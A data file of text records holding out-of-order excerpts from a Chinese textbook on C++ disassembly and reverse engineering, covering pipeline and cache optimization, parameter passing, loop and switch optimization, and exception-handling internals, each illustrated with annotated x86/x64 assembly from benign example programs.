    {"text": "比如Intel的长流水线设计把每条指令划分为很多阶段执行步骤使得每个步骤的工作内容都很简单更容易设计电路加快工作效率因此Intel的处理器的主频较高。"},
    {"text": "00401063 jmp [00401000h] 00401069 add esp,8 那么按长流水线设计的处理器使A流水线先取得00401063的指令然后开始译码等步骤这时候B流水线开始工作按部就班去00401069处取指令也开始译码等步骤。"},
    {"text": "当然这样的设计也有缺点同样的指令由于划分的工作阶段少每个阶段做的事情多了电路设计就会较为复杂主频会受到限制同时由于流水线数量较多处理器对流水线的管理成本也增大了。"},
    {"text": "2地址相关性 对于顺序安排的两条指令前一条指令需要访问并回写到某一地址上而后一条指令也需要访问这一地址这样的情况就是地址相关如下面的代码所示。"},
    {"text": "add [00401234],esi mov eax,[00401234] 由于第一条指令计算并回写到[00401234]而第二条指令也需要访问[00401234]形成了对内存地址的争用因此只能在第一条指令操作完成后再去执行第二条这同样影响了并行效率应尽量避免。"},
    {"text": "0040101F pusheax 00401020 push offset aN; \"n/ 2 =%d\" 00401025 call_printf 0040102A mov eax,92492493h 0040102F add esp,8 00401032 imulesi 00401034 add edx,esi 00401036 sar edx,2 00401039 mov eax,edx 0040103B shr eax,1Fh 0040103E add edx,eax 00401025处的call_printf是C语言的调用方式由调用方恢复栈顶指令是0040102F处的add esp8中间有mov eax92492493h指令这就是典型的流水线优化。"},
    {"text": "因为mov eax92492493h和00401032处的imul esi存在指令相关性mov eax92492493h需要设置eax而imul指令也是把计算结果的低位设置到eax。 由于存在寄存器争用的问题这两条指令是无法并行的因此编译器在不影响程序结果的前提下将mov eax92492493h安排到add esp8之上了二者没有任何相关性能同时执行。 但是流水线优化的前提条件是不影响计算结果请看00401034处的add edx, esi和00401036处的sar edx2这两条指令都需要设置edx所以无法并行为了保证计算结果正确不能改变执行顺序编译器只能放弃流水线优化了。"},
    {"text": "分支目标缓冲器在程序运行时将动态记录和调整转移指令的目标地址可以记录多个地址对其进行表格化管理。 当发生转移时如果分支目标缓冲器中有记录下一条指令在取指令阶段就会将其作为目标地址。"},
    {"text": "for (int i = 0; i < 10; i++){ // 下面每次循环会预测成功9999次 // 第1次没有预测最后退出循环时预测失败1次 // 这样的过程重复10次 for (int j = 0; j < 10000; j++){ a[i][j]++; } } for (int j = 0; j < 10000; j++){ // 下面每次循环会预测成功9次 // 第1次没有预测最后退出循环时预测失败1次 // 这样的过程重复10000次 for (int i = 0; i < 10; i++){ a[i][j]++; } } 想想看上述两种方式哪个划算 编译器对分支的优化主要体现在减少分支结构上使用顺序结构代替分支结构相关知识请参考4.2.3节。"},
    {"text": "4.4.3 高速缓存优化规则 我们都知道计算机内存的访问效率大大低于处理器而且在程序的运行中被访问的数据和指令相对集中为此处理器准备了片上高速缓存cache存放需要经常访问的数据和代码。 这些数据的内容和所在的虚拟地址Virtual AddressVA以表格的形式一一对应在处理器访问内存数据时先去高速缓存中看看这个虚拟地址有没有记录如果有则命中cachehit无须访问内存单元如果没有找到cachemiss则转换虚拟地址的访问数据并保存到高速缓存中。"},
    {"text": "为了节省高速缓存的宝贵空间VA值的二进制低位不会被保存也就是说保存的数据是以2n字节为单位的VA值具体会被保存多少位是由高速缓存设计的数据组织方式确定的。"},
    {"text": "由于现代操作系统的内存管理是分段加分页的管理模式而页级管理是虚拟内存的基础为了避免频繁访问三级页表转换地址处理器准备了页表缓冲Translation Lookaside BufferTLB存放长期命中的页表数据。"},
    {"text": "1. 数据对齐 高速缓存不会保存虚拟地址的二进制低位对于Intel的32位处理器来说如果访问的地址是4的倍数则可以直接查询并提取如果不是4的倍数则需要访问多次。"},
    {"text": "2. 数据集中 将访问次数多的数据或代码尽量安排在一起一方面是高速缓存在抓取命中数据时会抓取周围的其他数据另一方面是虚拟内存分页的问题如果数据分散保留到多个分页中就会导致过多的虚拟地址转换甚至会导致缺页中断频繁发生这些都会影响效率。"},
    {"text": "如果读者对与32位处理器相关的知识意犹未尽可以阅读《80x86汇编语言程序设计教程》作者杨季文一书该书对保护模式下的开发讲解得很细致。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第11章 虚函数 虚函数是面向对象程序设计的关键组成部分。第10章介绍了构造函数和析构函数的识别方法对于具有虚函数的类而言构造函数和析构函数的识别过程更加简单。而且在类中定义虚函数之后如果没有提供构造函数编译器会生成并提供默认的构造函数。 对象的多态性需要通过虚表和虚表指针完成虚表指针被定义在对象首地址处因此虚函数必须作为成员函数使用。因为非成员函数没有this指针所以无法获得虚表指针进而无法获取虚表也就无法访问虚函数。 为什么类有了虚函数后还需要提供默认的构造函数呢构造函数内发生了哪些变化呢本章将详细分析虚函数的实现原理以及它与构造函数和析构函数的关系从而为大家解开这些疑问。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.4 函数的参数 6.2节分析的示例函数没有参数如果在函数的调用过程中有使用栈顶传参的情况那么esp会有哪些变化呢 假设当前esp为0x0012FF10传递参数如下。 push 5 ; 指令执行后esp-4等于0x0012FF0C push 6 ; 指令执行后esp-4等于0x0012FF08 ; 函数调用call指令会将下一条指令地址压栈作为函数的返回地址本节暂不讨论 call xxxx 函数参数通过栈结构进行传递在C++代码中其传参顺序为从右向左依次入栈最先定义的参数最后入栈。参数也是函数中的一个变量采用正数标号法表示局部变量偏移标号时函数的参数标号和局部变量的标号值都为正无法区分不利于分析。使用负数标号法表示就可以将两者区分了正数表示参数负数表示局部变量0表示返回地址对返回地址的讲解见6.5节。这样用户在对反汇编代码进行分析时就省去了计算偏移量的工作只须查看标号名称就可得知在访问哪一个变量。根据寻址过程中的计算方式可知访问的变量是局部变量还是参数。 Debug版下的分析相对简单由于其注重调试功能因此使用的是ebp寻址方式。在进入函数时已将ebp调整至当前作用域的栈底可直接使用。 因为函数的传参是通过栈方式传递的使用push指令将数据压入栈中而push指令将操作数复制到栈顶所以这时压入栈中的数据和原数据是独立存在的在两个不同地址处。因此对函数参数的修改实际上是对当前函数栈内的参数中保存的值进行修改与原数据没有任何关系。正因如此在C\\C++中形参是实参的副本对形参的修改不影响实参示例如代码清单6-5所示。 代码清单6-5 函数参数传递Release版 // C++源码 #include <stdio.h> void addNumber(int n1){ n1 += 1; printf(\"%d\\n\", n1); } int main(int argc, char* argv[]) { int n = 0; scanf(\"%d\", &n); // 防止变量被常量扩散优化 addNumber(n); return 0; } //x86_vs对应汇编代码讲解 004010A0 var_4 = dword ptr -4 ;局部变量标号定义main()函数中只有一个局部变量 004010A0 004010A0 push ecx ;注意这里的push ecx请读者现在定位到函数末尾去看 ;看是不是发现没有pop ecx所以这里并不是保存寄存 ;器环境而是使用低周期的push ecx代替高周期的sub ;esp,4强度削弱。这样就有了局部变量的空间 004010A1 lea eax,[esp+4+var_4] ;取出局部变量地址存入eax 004010A4 mov [esp+4+var_4], 0 ;将局部变量赋值为0 004010AB push eax ;压入eax作为参数eax中保存局部变量地址 004010AC push offset unk_417164 ;\"%d\" 004010B1 call sub_4010F0 ;调用scanf函数 004010B6 push [esp+0Ch+var_4] ;局部变量的值入栈结合函数sub_401000分析此处是否为 ;参数压栈考察函数内有没有对其引用有没有使用ret ;指令平衡参数 004010BA call sub_401000 ;调用函数标号为sub_401000双击可跟进到函数实现中 004010BF xor eax, eax 004010C1 add esp, 10h ;退出前平衡栈顶esp共使用4次push指令由此得出函数 ;sub_401000为__cdecl调用方式使用了1个参数 004010C4 retn 00401000 arg_0 = dword ptr 4 ;正数为参数标号。在IDA下参数以arg_为前缀 00401000 mov eax, [esp+arg_0] ;访问第一个参数取出数据到eax中此函数就一个参数 00401004 inc eax ;对参数内容加1main()函数中压入的参数为5 00401005 push eax ;将加1后的eax压入栈中作为printf函数参数 00401006 push offset unk_417160 ;\"%d\\n\" 0040100B call sub_4010D0 ;调用printf函数 00401010 add esp, 8 ;平衡printf函数使用的两个参数 00401013 retn ;函数内没有平衡参数可以见此函数为__cdecl调用方式 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 通过对代码清单6-7的分析我们学习了函数参数的传递过程从而理解了C\\C++中不定长参数的函数的实现过程。C\\C++中不定长参数函数的定义如下。 至少有一个参数。 所有不定长的参数类型传入时都是dword类型。 须在某一个参数中描述参数总个数或将最后一个参数赋值为结尾标记。 有了这3个特性就可以实现不定参数的函数。根据参数的传递特性只要确定第一个参数的地址对其地址值做加法就可以访问此参数下一个参数所在的地址。获取参数的类型是为了解释地址中的数据。上面提到的第三点是为了获取参数的个数目的是正确访问到最后一个参数的地址防止访问参数空间越界使用栈传参方式的32位程序某个参数的地址加4即可得到下一个参数所在的地址double类型除外详见2.2.1节的介绍。printf函数就是利用第一个参数获取参数总个数的。只须检查printf函数中第一个参数指向的字符串中包含几个“%”就可以确定其后的参数个数“%%”形成的转义字符除外。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.8 编译器对循环结构的优化 5.7节介绍了3种循环结构do循环结构的执行效率是最高的。 因为do循环结构非常精简利用程序执行时由低地址到高地址的特点只使用一个条件跳转指令就完成了循环所以无须在结构上进行优化处理。"},
    {"text": "int i = 0; 00401248 mov dword ptr [ebp-4],0 do { i++; 0040124F mov eax,dword ptr [ebp-4] 00401252 add eax,1 00401255 mov dword ptr [ebp-4],eax printf(\"%d\", i); ; printf 讲解略 } while(i < 1000); ; 此处的汇编代码在退出循环时才预测失败 00401269 cmp dword ptr [ebp-4],3E8h 00040127 jl main+1Fh (0040124f) do循环结构中只使用了一次跳转就完成了循环功能大大提升了程序的执行效率。"},
    {"text": "while循环结构的执行效率比do循环结构低。 因为while循环结构是先比较再循环所以无法利用程序执行顺序完成循环。 同时while循环结构使用了2个跳转指令在程序流程上弱于do循环结构。 为了提升while循环结构的执行效率可以将其转成效率较高的do循环结构。 在不能直接转换成do循环结构的情况下可以使用if单分支结构将do循环结构嵌套在if语句块内由if语句判定是否能执行循环体。"},
    {"text": "int LoopWhile(int count){ int sum = 0; int i = 0; if(count >= 0){ do { sum += i; i++; } while(i <= count) } return sum; } 经过转换后代码的功能没有任何改变只是在结构上有了调整变成了单分支结构加do循环结构。"},
    {"text": "从结构特征可知for循环是执行速度最慢的它需要3个跳转指令才能完成循环因此也需要对其进行优化。 从循环结构上看for循环的结构特征和while循环结构类似。"},
    {"text": "赋初值部分不属于循环体可以忽略只需要将比较部分放到循环体内即while循环结构。 既然可以转换while循环结构那么自然可以转换为do循环结构进行优化以提升执行效率。 有了for循环结构的优化方案在对其进行优化的过程中编译器能否按照此方案进行优化呢优化后的for循环反汇编代码如代码清单5-25所示。 代码清单5-25 for循环结构Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { for (int i = 0; i <= argc ; i++) { printf(\"for\\n\"); } return 0; } //x86_vs对应汇编代码讲解 00401010 push esi 00401011 mov esi, [esp+8] 00401015 test esi, esi 00401017 js short loc_401032 ;如果argc<0则跳转到if结束代码块 { 00401019 inc esi ;if语句代码块, i+=1 0040101A nop word ptr [eax+eax+00h] { 00401020 push offset aFor ;do_while语句代码块 00401025 call sub_401040 0040102A add esp, 4 0040102D sub esi, 1 ;i-=1 } 00401030 jnz short loc_401020 ;如果i!=0则跳转到do_while语句代码块 } 00401032 xor eax, eax ;if结束代码块do_while结束代码块 00401034 pop esi 00401035 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 test ecx, ecx 0000000140001016 js short loc_140001037 ;如果argc<0则跳转到if结束代码块 { 0000000140001018 mov [rsp+20h], rbx ;if语句代码块 000000014000101D lea ebx, [rcx+1] ;i+=1 { 0000000140001020 lea rcx, aFor ;do_while语句代码块 0000000140001027 call sub_140001040 000000014000102C sub rbx, 1 ;rbx=i-1 } 0000000140001030 jnz short loc_140001020 ;如果i!=0则跳转到do_while语句代码块 0000000140001032 mov rbx, [rsp+20h] ;i-=1 } 0000000140001037 xor eax, eax ;if结束代码块do_while结束代码块 0000000140001039 add rsp, 28h 000000014000103D retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 分析代码清单5-25发现它与图5-13的思路完全一致。"},
    {"text": "由于在02选项下while循环及for循环都可以使用do循环进行优化所以在分析经过02选项优化的反汇编代码时很难转换回相同源码只能尽量还原等价源码。"},
    {"text": "例如循环结构中经常有重复的操作在对循环结构中语句块的执行结果没有任何影响的情况下可选择相同的代码外提以减少循环语句块中的执行代码提升循环执行效率如代码清单5-26所示。"},
    {"text": "代码清单5-26 循环结构优化——代码外提 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int sum = 0; int i = 0; do { sum += i; i++; } // 此处代码每次都要判断argc - argc是否并没有自减仍然为一个固定值 // 可在循环体外先对argc进行减1操作再进入循环体 while(i < argc - 1); return sum; } //x86_vs对应汇编代码讲解 00401000 mov eax, [esp+4] 00401004 xor edx, edx 00401006 xor ecx, ecx 00401008 dec eax ;argc-=1 00401009 nop dword ptr [eax+00000000h] { 00401010 add edx, ecx ;do_while语句代码块sum+=i 00401012 inc ecx ;i++ } 00401013 cmp ecx, eax 00401015 jl short loc_401010 ;如果i<argc则跳转到do_while语句代码块 00401017 mov eax, edx 00401019 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码数学优化略 //x64_vs对应汇编代码讲解 0000000140001000 xor eax, eax 0000000140001002 mov edx, eax 0000000140001004 dec ecx ;argc-=1 { 0000000140001006 add eax, edx ;do_while语句代码块sum+=i 0000000140001008 inc edx ;i++ } 000000014000100A cmp edx, ecx 000000014000100C jl short loc_140001006;如果i<argc则跳转到do_while语句代 ;码块 000000014000100E retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码数学优化略 分析代码清单5-26可知编译器将循环比较“i<argc-1”中的“argc-1”进行了外提。"},
    {"text": "#include <stdio.h> int main(int argc, char* argv[]) { int sum = 0; int i = 0; argc -= 1; do { sum += i; i++; } while(i < argc); return sum; } 这种外提是有条件的——只有在不影响循环结果的前提下才可以外提。"},
    {"text": "除了代码外提还可以通过一些方法进一步提升循环结构的执行效率如强度削弱即用等价的低强度运算替换代码中的高强度运算例如用加法代替乘法如代码清单5-27所示。"},
    {"text": "代码清单5-27 循环强度降低优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int t = 0; int i = 0; while (t < argc) { t = i * 99; //强度削弱后这里将不会使用乘法运算 i++; //转换后为t=i;i+=99; } //利用加法运算替换指令周期长的乘法运算 printf(\"%d\", t); return 0; } //x86_vs对应汇编代码讲解 00401010 mov edx, [esp+4] 00401014 xor ecx, ecx ;t=0 00401016 test edx, edx 00401018 jle short loc_401029 ;如果argc<=0则跳转if结束代码块 { 0040101A xor eax, eax ;if语句代码块,i=0 0040101C nop dword ptr [eax+00h] { 00401020 mov ecx, eax ;do_while语句代码块t=i 00401022 add eax, 63h ;i+=99 } 00401025 cmp ecx, edx 00401027 jl short loc_401020 ;如果t<argc则跳转到do_while语句代码块 } 00401029 push ecx ;if结束代码块do_while结束代码块 0040102A push offset unk_412160 0040102F call sub_401040 00401034 add esp, 8 00401037 xor eax, eax 00401039 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 xor edx, edx ;t=0 0000000140001016 test ecx, ecx 0000000140001018 jle short loc_140001029 ;如果argc<=0则跳转if结束代码块 { 000000014000101A mov eax, edx ;if语句代码块,i=0 000000014000101C nop dword ptr [rax+00h] { 0000000140001020 mov edx, eax ;do_while语句代码块t=i 0000000140001022 add eax, 63h ;i+=99 } 0000000140001025 cmp edx, ecx 0000000140001027 jl short loc_140001020 ;如果t<argc则跳转到do_while语句代码块 } 0000000140001029 lea rcx, unk_1400122C0 ;if结束代码块do_while结束代码块 0000000140001030 call sub_140001040 0000000140001035 xor eax, eax 0000000140001037 add rsp, 28h 000000014000103B retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.6 降低判定树的高度 5.5节介绍了对非线性索引表的优化讨论了最大case值和最小case值之差在255以内的情况。 当最大case值与最小case值之差大于255超出索引1字节的表达范围时上述优化方案同样会造成空间浪费此时可采用另一种优化方案——判定树即将每个case值作为一个节点找到这些节点的中间值作为根节点以此形成一棵二叉平衡树以每个节点为判定值大于和小于关系分别对应左子树和右子树这样可以提高效率。"},
    {"text": "代码清单5-17 switch树的C++源码 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 0; scanf(\"%d\", &n); switch(n){ case 2: printf(\"n == 2\\n\"); break; case 3: printf(\"n == 3\\n\"); break; case 8: printf(\"n == 8\\n\"); break; case 10: printf(\"n == 10\\n\"); break; case 35: printf(\"n == 35\\n\"); break; case 37: printf(\"n == 37\\n\"); break; case 666: printf(\"n == 666\\n\"); break; default: printf(\"default\\n\"); break; } return 0; } 如果代码清单5-17中没有case 666这句代码可以采用非线性索引表方式进行优化。 有了case 666这句代码后便无法使用仿造if…else…优化、有序线性优化、非线性索引表优化等方式需要使用更强大的解决方案将switch做成树Debug版代码见代码清单5-18。 代码清单5-18 树结构switch片段Debug版 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 0 0040100D lea eax, [ebp-8] 00401010 push eax 00401011 push offset unk_417160 00401016 call sub_4011A0 0040101B add esp, 8 0040101E mov ecx, [ebp-8] 00401021 mov [ebp-4], ecx 00401024 cmp dword ptr [ebp-4], 0Ah 00401028 jg short loc_401047 ;如果n>10则跳转到判断n>10代码块 0040102A cmp dword ptr [ebp-4], 0Ah 0040102E jz short loc_40108B ;如果n==10则跳转case10语句代码块 00401030 cmp dword ptr [ebp-4], 2 00401034 jz short loc_40105E ;如果n==2则跳转case2语句代码块 00401036 cmp dword ptr [ebp-4], 3 0040103A jz short loc_40106D ;如果n==3则跳转case3语句代码块 0040103C cmp dword ptr [ebp-4], 8 00401040 jz short loc_40107C ;如果n==8则跳转case8语句代码块 00401042 jmp loc_4010C7 ;跳转default代码块 00401047 cmp dword ptr [ebp-4], 23h 0040104B jz short loc_40109A ;如果n==35则跳转case35语句代码块 0040104D cmp dword ptr [ebp-4], 25h 00401051 jz short loc_4010A9 ;如果n==37则跳转case35语句代码块 00401053 cmp dword ptr [ebp-4], 29Ah 0040105A jz short loc_4010B8 ;如果n==666则跳转case666语句代码块 0040105C jmp short loc_4010C7 ;跳转default代码块 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码无优化略 //x64_vs对应汇编代码讲解 000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov dword ptr [rsp+24h], 0 0000000140001015 lea rdx, [rsp+24h] 000000014000101A lea rcx, unk_1400182D0 0000000140001021 call sub_140001210 0000000140001026 mov eax, [rsp+24h] 000000014000102A mov [rsp+20h], eax 000000014000102E cmp dword ptr [rsp+20h], 0Ah 0000000140001033 jg short loc_140001053 ;如果n>10则跳转到判断n>10代码块 0000000140001035 cmp dword ptr [rsp+20h], 0Ah 000000014000103A jz short loc_140001097 ;如果n==10则跳转case10语句代码块 000000014000103C cmp dword ptr [rsp+20h], 2 0000000140001041 jz short loc_14000106D ;如果n==2则跳转case2语句代码块 0000000140001043 cmp dword ptr [rsp+20h], 3 0000000140001048 jz short loc_14000107B ;如果n==3则跳转case3语句代码块 000000014000104A cmp dword ptr [rsp+20h], 8 000000014000104F jz short loc_140001089 ;如果n==8则跳转case8语句代码块 0000000140001051 jmp short loc_1400010CF ;跳转default语句代码块 0000000140001053 cmp dword ptr [rsp+20h], 23h 0000000140001058 jz short loc_1400010A5 ;如果n==35则跳转case35语句代码块 000000014000105A cmp dword ptr [rsp+20h], 25h 000000014000105F jz short loc_1400010B3 ;如果n==37则跳转case37语句代码块 0000000140001061 cmp dword ptr [rsp+20h], 29Ah 0000000140001069 jz short loc_1400010C1 ;如果n==666则跳转case666语句代码块 000000014000106B jmp short loc_1400010CF ;跳转default语句代码块 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码无优化略 分析代码清单5-18得出在switch的处理代码中比较判断的次数非常多。"},
    {"text": "首先与10进行比较大于10则跳转到地址0x00401047处这个地址对应的代码又是条件跳转操作比较的数值为35。 如果不等于35则与37比较不等于37又再次与666进行比较与666比较失败后会跳转到switch结尾或default块的首地址处。"},
    {"text": "在Release版下使用IDA查看编译器如何进行优化树结构流程如图5-10所示。 图5-10 树结构流程图 图5-10是从IDA中提取出来的根据流程走向可以看出有一个根节点左边的多分支流程结构很像一个switch语句而右边则是一个多次比较判断和if…else…类似。"},
    {"text": "代码清单5-19 判定树结构片段1Release版 //x86_vs对应汇编代码讲解 00401020 push ecx 00401021 lea eax, [esp] 00401024 mov dword ptr [esp], 0 0040102B push eax 0040102C push offset unk_417160 00401031 call sub_401150 00401036 mov eax, [esp+8] 0040103A add esp, 8 0040103D cmp eax, 35 00401040 jg short loc_4010A8 ;如果n>35则跳转到4010A8判断 00401042 jz short loc_401097 ;如果n==35则跳转到case35语句块代码 00401044 add eax, 0FFFFFFFEh ;eax=n-2数组下标从0开始 00401047 cmp eax, 8 0040104A ja short loc_4010BB ;如果n>10则跳转到default语句块代码 0040104C jmp ds:off_4010F0[eax*4] ;查表 //x86_vs对应汇编代码讲解 //x86_gcc对应汇编代码与上例代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码与上例代码相似略 //x64_gcc对应汇编代码与上例代码相似略 //x64_clang对应汇编代码相似略 判定树中的case地址表如图5-11所示。"},
    {"text": "图5-11 判定树中的case地址表Release版 图5-11中的编号off_4010D0并不容易识别可将此标号重新命名——按N键重新命名为CASE_JMP_TABLE表示这是一个case跳转表。"},
    {"text": "将编号loc_4010BB修改为SWITCH_DEFAULT这样图5-11中还剩下4个地址标号需要解释。 根据之前所学的知识这个表中的第0项为下标值加下标对齐值——下标对齐值为2地址标号loc_401053为表中第0项对应的case值为0+2将其修改为CASE_2。 类似地标号loc_401064为case 3代码块的首地址可修改为CASE_3标号loc_401075为case 8代码块的首地址可修改为CASE_8标号loc_401086为case 10代码块的首地址可修改为CASE_10。"},
    {"text": "标号short loc_401097表示比较结果等于35后才会跳转到的地址可以判断这个标号表示的地址为case 35语句块的首地址将其重新命名为CASE_35。 如果比较结果大于35则会跳转到标号short loc_4010A8表示的地址处。"},
    {"text": "代码清单5-20 树结构片段2Release版 //x86_vs对应汇编代码讲解 004010A8 cmp eax, 25h 004010AB jz short loc_4010EE ;如果n==37则跳转到case37语句块代码 004010AD cmp eax, 29Ah 004010B2 jz short loc_4010DD ;如果n==666则跳转到case666语句块代码 004010B4 cmp eax, 2710h 004010B9 jz short loc_4010CC ;如果n==10000则跳转到case10000语句块代码 //x86_gcc对应汇编代码与上例代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码与上例代码相似略 //x64_gcc对应汇编代码与上例代码相似略 //x64_clang对应汇编代码相似略 代码清单5-20中的多分支结构为一个仿if…else…的switch结构在两个比较跳转中间没有执行任何语句块。"},
    {"text": "根据比较后的数值可以得到跳转的地址标号代表的case语句标号short loc_4010EE表示case 37代码块的首地址可修改为CASE_37标号short loc_4010DD表示case 666代码块的首地址可修改为CASE_666标号short loc_4010CC表示case 10000代码块的首地址可修改为CASE_10000。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.2 异常类型为基本数据类型的处理流程 到此异常处理过程中需要的结构信息全部介绍完毕。 有了对异常处理的初步认识接下来我们结合实践深入了解异常处理的流程先来看代码清单13-1。 代码清单13-1 异常处理流程Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { try { throw 1; // 抛出异常 } catch ( int e ) { printf(\" 触发int异常\\r\\n\"); } catch ( float e) { printf(\" 触发float异常\\r\\n\"); } return 0; } // C++ 源码与对应汇编代码讲解 int mainint main(int argc, char* argv[]){ 00401010 push ebp 00401011 mov ebp,esp 00401013 push 0FFh ; 异常回调函数ehhandler$_main函数分析见代码清单13-2 00401015 push offset ehhandler$_main (00413450) 0040101A mov eax,fs:[00000000] 00401020 push eax 00401021 mov dword ptr fs:[0],esp ; 注册异常回调处理函数 ; Debug环境初始化部分略 try{ 00401041 throw 1; mov dword ptr [ebp-4],0 // 抛出异常 00401048 mov dword ptr [ebp-14h],1 ; 设置异常编号 0040104F push offset TI1H (00426630) ; 压入异常结构 00401054 lea eax,[ ebp-1Ch] 00401057 push eax ; 压入异常编号 ; CxxThrowException@8函数中调用API函数Raise Exception 00401058 call CxxThrowException@8 (004017a0) ; 调用异常分配函数 } ;异常捕获处理部分略 分析代码清单13-1进入main()函数后首先压入异常回调函数用于在产生异常时接收并分配到对应的异常处理语句块中。 进一步分析异常回调函数__ehhandler$_main如代码清单13-2所示。 代码清单13-2 异常回调函数__ehhandler$_main分析Debug版 ======================= 示例代码截取自IDA========================== 00413140 ehhandler$_main proc near ; DATA XREF: _main+5o ; 利用eax传参将stru_426468重命名为g_lpFuncInfo 00413140 mov eax, offset stru_426468 00413145 jmp __CxxFrameHandler 00413145 ehhandler$_main endp ; 传入了异常处理的相关信息函数 __CxxFrameHandler 的声明如下 ; int cdecl CxxFrameHandler (EXCEPTION_RECORD *pExcept,EHRegistrationNode *pRN, struct _CONTEXT *pContext,void *pDC) 00401210 var_8 = dword ptr -8 00401210 var_4 = dword ptr -4 00401210 arg_0 = dword ptr 8 ; 参数1pExcept 00401210 arg_4 = dword ptr 0Ch ; 参数2pRN 00401210 arg_8 = dword ptr 10h ; 参数3pContext 00401210 arg_C = dword ptr 14h 00401210 00401210 push ebp 00401211 mov ebp, esp ; 保存栈底并重新设置栈底 00401213 sub esp, 8 ; 申请局部变量空间 00401216 push ebx 00401217 push esi 00401218 push edi ; 保存环境 00401219 cld ; 将DF位置0每次操作后esi、edi递增 ; var_8局部变量保存g_lpFuncInfo首地址重命名pFuncInfo 0040121A mov [ebp+pFuncInfo], eax 0040121D push 0 ; 压入0作为参数 0040121F push 0 ; 压入0作为参数 00401221 push 0 ; 压入0作为参数 00401223 mov eax, [ebp+pFuncInfo] 00401226 push eax ; 压入pFuncInfo结构首地址作为参数 00401227 mov ecx, [ebp+arg_C] 0040122A push ecx 0040122B mov edx, [ebp+ pContext] 0040122E push edx ; 压入pContext作为参数 0040122F mov eax, [ebp+arg_4] 00401232 push eax ; 压入pRN作为参数 00401233 mov ecx, [ebp+ pExcept] 00401236 push ecx ; 压入pExcept作为参数 00401237 call InternalCxxFrameHandler ; 调用异常处理函数 ; 部分代码分析略 0040124B retn 0040124B CxxFrameHandler endp 代码清单13-2展示了如何获取异常的相关信息接下来通过_InternalCxxFrameHandler对异常进行分类处理。"},
    {"text": "EXCEPTION_RECORD struc ExceptionCode dd ? ; 异常类型产生异常的错误编号 ExceptionFlags dd ? ; 异常标记 lpExceptionRecord dd ? ; 嵌套异常使用 ExceptionAddress dd ? ; 异常产生地址 NumberParameters dd ? ; 用于指定ExceptionInformation数组中的元素个数 MagicNumber dd ? ; 存储异常处理的附加参数 EXCEPTION_RECORD ends EHRegistrationNode的表结构说明如下。 EHRegistrationNode struc ; (sizeof=0x10) pNext dd ? ; 指向链表的上一个节点EHRegistrationNode* HandlerProc dd ? ; 记录当前函数栈帧的异常回调函数 dwState dd ? ; 记录当前函数栈帧的状态值 dwEbp dd ? ; 记录当前函数栈帧的ebp值 EHRegistrationNode ends _InternalCxxFrameHandler函数主要完成了标记检查、展开、查找和派发等工作。"},
    {"text": "代码清单13-3 __InternalCxxFrameHandler分析Debug版 // 函数原型 int cdecl InternalCxxFrameHandler( EXCEPTION_RECORD *pExcept, EHRegistrationNode *pRN, struct _CONTEXT *pContext, void *pDC, struct FuncInfo *pFuncInfo, int CatchDepth, int pMarkerRN, int recursive); 004035C0 InternalCxxFrameHandler proc near ; 部分代码分析略 004035C6 mov eax, [ebp+arg_10] ; arg_10对应pFuncInfo 004035C9 cmp dword ptr [eax], 19930520h ; 对比标识符 004035CF jnz short loc_4035DA 004035D1 mov [ebp+var_8], 0 004035D8 jmp short loc_4035E2 ; 标识符正确跳转到异常处理部分 ; 部分代码分析略 004035E2 loc_4035E2: 004035E2 mov ecx, [ebp+ pExcept] 004035E5 mov edx, [ecx+4] ; 获取异常标记 004035E8 and edx, 66h 004035EB test edx, edx ; 比较异常是否为EXCEPTION_UNWIND 004035ED jz short loc_40361E ; 不等则跳转 ; 部分代码分析略 loc_40361E: 0040361E mov ecx, [ebp+arg_10] 00403621 cmp dword ptr [ecx+0Ch], 0 ; 检查FuncInfo结构中记录try 块 ; 数的dwTryCount成员 00403625 jz short loc_4036A6 00403627 mov edx, [ebp+pExcept] ; edx 中保存了pExcept取第一项ExceptionCode 异常类型 0040362A cmp dword ptr [edx], 0E06D7363h ; 0E06D7363h为C++异常错误码 00403630 jnz short loc_40367E 00403632 mov eax, [ebp+pExcept] ; eax 中保存了pExcept取MagicNumber由此可见第一个附加参数为FuncInfo结构 00403635 cmp dword ptr [eax+14h], 19930520h ; 存储异常处理的附加参数 0040363C jbe short loc_40367E ; 部分代码分析略 loc_40367E: ; 参数传递代码分析略 ; 调用查找try块与catch块的函数FindHandler call ?FindHandler@@YAXPAUEHExceptionRecord@@PAUEHRegistrationNode@@PAU_ 